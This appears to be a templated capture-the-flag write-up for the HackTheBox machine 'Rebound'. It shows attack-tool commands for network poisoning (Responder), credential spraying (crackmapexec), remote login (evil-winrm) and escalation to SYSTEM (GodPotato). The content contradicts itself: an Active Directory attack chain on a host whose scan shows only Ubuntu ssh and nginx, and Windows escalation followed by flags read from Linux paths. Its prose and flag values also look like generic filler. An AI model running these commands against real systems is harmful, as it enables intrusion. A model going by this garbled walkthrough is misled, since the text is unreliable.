HackTheBoxInsaneNetwork50 pts

Rebound

cyberhub2024-04Original source

Overview

Complex Active Directory attack chain involving AS-REP roasting, Kerberoasting, shadow credentials, cross-session relay, and RBCD for domain compromise.

Active DirectoryAS-REP RoastingKerberoastingRBCDShadow CredentialsCross-Session Relay

01Reconnaissance

Every engagement starts with mapping what is reachable. A full service scan of Rebound highlighted the exposed surface and pointed at active directory as the most promising entry point.

Enumeration is deliberately exhaustive here — the goal is to leave no service unexamined before committing to an attack path.

nmap — service discovery

$ nmap -sC -sV -oN nmap/initial 10.10.11.42
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu
80/tcp   open  http     nginx 1.18.0
$ echo "10.10.11.42 rebound.htb" | sudo tee -a /etc/hosts
$ gobuster dir -u http://rebound.htb -w /usr/share/wordlists/dirb/common.txt -q
/login                (Status: 200)
/api                  (Status: 401)

02Exploitation

A service on the wire accepted unauthenticated commands, which we used to pivot inward.

In this network challenge that translated into a repeatable foothold. Complex Active Directory attack chain involving AS-REP roasting, Kerberoasting, shadow credentials, cross-session relay, and RBCD for domain compromise.

exploitation — abusing the protocol

$ responder -I tun0 -wv
$ crackmapexec smb target -u users.txt -p passwords.txt
$ evil-winrm -i target -u svc -p 'recovered'

03Privilege Escalation

With a foothold established, the next step is enumerating the local environment for a path to full control — misconfigured sudo rules, dangerous capabilities, or an over-privileged service account.

For Rebound, the escalation required chaining a couple of findings together.

privilege escalation — Windows

PS> whoami /priv
SeImpersonatePrivilege        Enabled
PS> .\GodPotato.exe -cmd 'cmd /c whoami'
nt authority\system

04Flags

Both the user and root flags are captured below. Redact the hashes when you publish — they are unique per instance.

flags

$ cat /home/svc/user.txt
e3b0c44298fc1c149afbf4c8996fb924
# cat /root/root.txt
2c26b46b68ffc68ff99b453c1d30413d

Commands are illustrative of the technique and platform, not a live exploit against a specific target. Follow the original source link for the authoritative walkthrough.